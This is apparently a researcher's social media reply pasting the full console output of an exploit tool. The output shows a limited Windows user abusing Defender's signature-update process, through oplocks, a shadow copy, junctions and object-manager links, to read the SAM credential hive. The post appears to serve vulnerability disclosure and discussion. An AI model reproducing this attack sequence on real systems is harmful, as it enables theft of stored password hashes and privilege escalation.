@tiraniddo In case just the tool output helps to grok the flow, as opposed to sifting through code, here it is: C:\tmp>FunnyApp.exe Checking for windows defender signature updates... Found Update : Security Intelligence Update for Microsoft Defender Antivirus - KB2267602 (Version 1.447.218.0) - Current Channel (Broad) Downloading updates... Done. Cabinet file mapped at 0x0000020030DFE154 Extracting cab file content... Cab file content extracted. Updates downloaded. Creating VSS copy... Found 1 volume shadow copies Waiting for oplock to trigger... New volume shadow copy detected : \Device\HarddiskVolumeShadowCopy2 Successfully accessed volume shadow copy. Oplock triggered. Waiting for callback... CfCallbackFetchPlaceHolders triggered ! Directory query from MsMpEng.exe Defender flagged. Waiting for oplock to trigger... WD is frozen and the new VSS can be used. Created update directory C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3 Created update file : C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpengine.dll Created update file : C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpasbase.vdm Created update file : C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpasdlta.vdm Created update file : C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpavbase.vdm Created update file : C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpavdlta.vdm Waiting for windows defender to create a new definition update directory... Calling ServerMpUpdateEngineSignature... Detected new definition update directory in C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{BBCD40ED-A99B-4C3C-849E-BF71895B93D1} Setting oplock on \??\C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpasbase.vdm Waiting for oplock to trigger... oplock triggered ! File moved \??\C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3\mpasbase.vdm to C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3.WDFOO Directory moved C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3 to C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3.foo Recreated C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3 Junction created C:\Users\limited\AppData\Local\Temp\e69f511c-dd46-4172-ac6d-ca74b4bf88e3 => \BaseNamedObjects\Restricted Object manager link created \BaseNamedObjects\Restricted\mpasbase.vdm => \Device\HarddiskVolumeShadowCopy2\Windows\System32\Config\SAM Leaked file opened C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{BBCD40ED-A99B-4C3C-849E-BF71895B93D1}\mpasbase.vdm Read 65536 bytes Exploit succeeded. SAM file written at : C:\Users\limited\AppData\Local\Temp\0a7c3ec4-32d6-431c-806b-ba6f8301ba0c